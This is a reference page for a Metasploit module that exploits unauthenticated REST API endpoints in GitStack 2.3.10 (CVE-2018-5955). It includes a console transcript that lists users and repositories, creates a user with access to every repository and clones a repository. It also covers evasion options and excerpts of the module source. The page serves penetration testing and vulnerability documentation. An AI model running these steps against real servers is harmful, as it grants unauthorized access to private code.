GitStack Unauthenticated REST API Requests - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/gitstack_rest metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: GitStack Unauthenticated REST API Requests
Module: auxiliary/admin/http/gitstack_rest
Source code: modules/auxiliary/admin/http/gitstack_rest.rb
Disclosure date: 2018-01-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-5955
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10. The module supports requests for listing users of the application and listing available repositories. Additionally, the module can create a user and add the user to the application's repositories. This module has been tested against GitStack v2.3.10.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/gitstack_rest
msf auxiliary(gitstack_rest) > show targets
... a list of targets ...
msf auxiliary(gitstack_rest) > set TARGET target-id
msf auxiliary(gitstack_rest) > show options
... show and set options ...
msf auxiliary(gitstack_rest) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
GitStack through v2.3.10 contains unauthenticated REST API endpoints that can be used to retrieve information about the application and make changes to it as well. This module generates requests to the vulnerable API endpoints. This module has been tested against GitStack v2.3.10.
Vulnerable Application
The GitStack application provides REST API functionality to list application users, list application repositories, create application users, etc. Several of the application's REST API endpoints do not require authentication, which allows those with network-level access to the application to take advantage of these unprotected requests.
Application user accounts created through the REST API do not have access to the admin web interface, but the accounts can be added and removed from repositories using additional API requests.
Actions
LIST
List application user accounts.
Note: The account everyone
is a default account.
LIST_REPOS
List application repositories.
CREATE
Create a user account and add the account to all available repositories.
CLEANUP
Remove the specified application user account from all available repositories and delete the application account.
Verification Steps
- [ ] Install a vulnerable GitStack application
- [ ] Create a few application user accounts
- [ ] Create a few application repositories
- [ ]
./msfconsole
- [ ]
use auxiliary/admin/http/gitstack_rest
- [ ]
set rhost <rhost>
- [ ]
run
- [ ] Verify the application user list that is returned
- [ ]
set action LIST_REPOS
- [ ]
run
- [ ] Verify the repository list that is returned
- [ ]
set username <username>
- [ ]
set password <password>
- [ ]
set action CREATE
- [ ]
run
- [ ] On the application verify that the user has been created
- [ ] On the application verify that the user has access to the repositories
- [ ]
set action CLEANUP
- [ ]
run
- [ ] On the application verify that the user doesn't have access to the repositories
- [ ] On the application verify that the user has been deleted
Scenarios
GitStack v2.3.10 on Windows 7 SP1 x64
msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -r test.rc
[*] Processing test.rc for ERB directives.
resource (test.rc)> use auxiliary/admin/http/gitstack_rest
resource (test.rc)> set rhost 172.22.222.122
rhost => 172.22.222.122
resource (test.rc)> run
[*] User List:
[+] rick
[+] morty
[+] everyone
[*] Auxiliary module execution completed
resource (test.rc)> set action LIST_REPOS
action => LIST_REPOS
resource (test.rc)> run
[*] Repo List:
[+] brainalyzer
[+] c137
[*] Auxiliary module execution completed
resource (test.rc)> set action CREATE
action => CREATE
resource (test.rc)> run
[+] SUCCESS: msf:password
[+] User msf added to brainalyzer
[+] User msf added to c137
[*] Auxiliary module execution completed
resource (test.rc)> set action CLEANUP
action => CLEANUP
resource (test.rc)> run
[+] msf removed from brainalyzer
[+] msf removed from c137
[+] msf has been deleted
[*] Auxiliary module execution completed
After CREATE, but before CLEANUP, use git to clone the remote repositories.
msfdev@simulator:~/money-bugs$ git clone http://msf:[email protected]/brainalyzer.git
Cloning into 'brainalyzer'...
remote: Counting objects: 3, done.
Unpacking objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
msfdev@simulator:~/money-bugs$ cd brainalyzer/ && ls
szechuan_sauce.md
Go back to menu.
Msfconsole Usage
Here is how the admin/http/gitstack_rest auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/gitstack_rest
msf6 auxiliary(admin/http/gitstack_rest) > show info
Name: GitStack Unauthenticated REST API Requests
Module: auxiliary/admin/http/gitstack_rest
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-01-15
Provided by:
Kacper Szurek
Jacob Robles
Available actions:
Name Description
---- -----------
CLEANUP Remove user from repositories and delete user
CREATE Create a user on the application
LIST List application users
LIST_REPOS List available repositories
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no Password for user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME msf no User to create or modify
VHOST no HTTP server virtual host
Description:
This modules exploits unauthenticated REST API requests in GitStack
through v2.3.10. The module supports requests for listing users of
the application and listing available repositories. Additionally,
the module can create a user and add the user to the application's
repositories. This module has been tested against GitStack v2.3.10.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-5955
https://www.exploit-db.com/exploits/43777
https://www.exploit-db.com/exploits/44044
Module Options
This is a complete list of options available in the admin/http/gitstack_rest auxiliary module:
msf6 auxiliary(admin/http/gitstack_rest) > show options
Module options (auxiliary/admin/http/gitstack_rest):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no Password for user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME msf no User to create or modify
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
LIST List application users
Advanced Options
Here is a complete list of advanced options supported by the admin/http/gitstack_rest auxiliary module:
msf6 auxiliary(admin/http/gitstack_rest) > show advanced
Module advanced options (auxiliary/admin/http/gitstack_rest):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/gitstack_rest module can do:
msf6 auxiliary(admin/http/gitstack_rest) > show actions
Auxiliary actions:
Name Description
---- -----------
CLEANUP Remove user from repositories and delete user
CREATE Create a user on the application
LIST List application users
LIST_REPOS List available repositories
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/gitstack_rest auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/gitstack_rest) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed: <E.CLASS> - <E.MESSAGE>
- USERNAME required
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed: <E.CLASS> - <E.MESSAGE>
- Failed to add user
- Failed to retrieve repository list
- Failed to retrieve repository list
- USERNAME and PASSWORD required
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
99: res = send_request_cgi({
100: 'uri' => path,
101: 'method' => action.opts['List']
102: })
103: rescue Rex::ConnectionError, Errno::ECONNRESET => e
104: print_error("Failed: #{e.class} - #{e.message}")
105: return
106: end
107: if res && res.code == 200
108: begin
109: mylist = res.get_json_document
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
107: if res && res.code == 200
108: begin
109: mylist = res.get_json_document
110: mylist -= ['everyone']
111: rescue JSON::ParserError => e
112: print_error("Failed: #{e.class} - #{e.message}")
113: return
114: end
115: mylist.each do |item|
116: print_good("#{item}")
117: end
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
124: res = send_request_cgi({
125: 'uri' => path,
126: 'method' => action.opts['List']
127: })
128: rescue Rex::ConnectionError, Errno::ECONNRESET => e
129: print_error("Failed: #{e.class} - #{e.message}")
130: return nil
131: end
132: if res && res.code == 200
133: begin
134: mylist = res.get_json_document
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
132: if res && res.code == 200
133: begin
134: mylist = res.get_json_document
135: return mylist
136: rescue JSON::ParserError => e
137: print_error("Failed: #{e.class} - #{e.message}")
138: return nil
139: end
140: else
141: return nil
142: end
USERNAME required
Here is a relevant code snippet related to the "USERNAME required" error message:
143: end
144:
145: def clean_app
146: user = datastore['USERNAME']
147: unless user
148: print_error("USERNAME required")
149: return
150: end
151:
152: mylist = get_repos
153: if mylist
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
158: res = send_request_cgi({
159: 'uri' => path,
160: 'method' => action.opts['Remove']
161: })
162: rescue Rex::ConnectionError, Errno::ECONNRESET => e
163: print_error("Failed: #{e.class} - #{e.message}")
164: return
165: end
166:
167: if res && res.code == 200
168: print_good("#{res.body}")
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
178: res = send_request_cgi({
179: 'uri' => path,
180: 'method' => action.opts['Remove']
181: })
182: rescue Rex::ConnectionError, Errno::ECONNRESET => e
183: print_error("Failed: #{e.class} - #{e.message}")
184: return
185: end
186:
187: # Check if the account was successfully deleted
188: if res && res.code == 200
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
204: 'username' => user,
205: 'password' => pass
206: }
207: })
208: rescue Rex::ConnectionError, Errno::ECONNRESET => e
209: print_error("Failed: #{e.class} - #{e.message}")
210: return
211: end
212: if res && res.code == 200
213: print_good("SUCCESS: #{user}:#{pass}")
214: else
Failed: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:
224: res = send_request_cgi({
225: 'uri' => path,
226: 'method' => action.opts['Create']
227: })
228: rescue Rex::ConnectionError, Errno::ECONNRESET => e
229: print_error("Failed: #{e.class} - #{e.message}")
230: next
231: end
232: if res && res.code == 200
233: print_good("#{res.body}")
234: else
Failed to add user
Here is a relevant code snippet related to the "Failed to add user" error message:
230: next
231: end
232: if res && res.code == 200
233: print_good("#{res.body}")
234: else
235: print_error("Failed to add user")
236: print_error("#{res.body}")
237: end
238: end
239: else
240: print_error("Failed to retrieve repository list")
Failed to retrieve repository list
Here is a relevant code snippet related to the "Failed to retrieve repository list" error message:
235: print_error("Failed to add user")
236: print_error("#{res.body}")
237: end
238: end
239: else
240: print_error("Failed to retrieve repository list")
241: end
242: end
243:
244: def run
245: if ["LIST"].include?(action.name)
Failed to retrieve repository list
Here is a relevant code snippet related to the "Failed to retrieve repository list" error message:
251: if mylist
252: mylist.each do |item|
253: print_good("#{item['name']}")
254: end
255: else
256: print_error("Failed to retrieve repository list")
257: end
258: elsif ["CLEANUP"].include?(action.name)
259: clean_app
260: elsif datastore['USERNAME'] && datastore['PASSWORD']
261: add_user
USERNAME and PASSWORD required
Here is a relevant code snippet related to the "USERNAME and PASSWORD required" error message:
256: print_error("Failed to retrieve repository list")
257: end
258: elsif ["CLEANUP"].include?(action.name)
259: clean_app
260: elsif datastore['USERNAME'] && datastore['PASSWORD']
261: add_user
262: else
263: print_error("USERNAME and PASSWORD required")
264: end
265: end
266: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9628 Merged Pull Request: Add GitStack v2.3.10 Unauth REST API Aux Module
References
See Also
Check also the following modules related to this module:
- exploit/windows/http/gitstack_rce
- auxiliary/scanner/nessus/nessus_rest_login
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/symantec_web_gateway_restore
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/multi/http/struts2_rest_xstream
- exploit/multi/http/struts_dmi_rest_exec
- exploit/unix/webapp/drupal_restws_exec
- exploit/unix/webapp/drupal_restws_unserialize
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- exploit/unix/webapp/wp_easycart_unrestricted_file_upload
- exploit/unix/webapp/wp_photo_gallery_unrestricted_file_upload
Authors
- Kacper Szurek
- Jacob Robles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.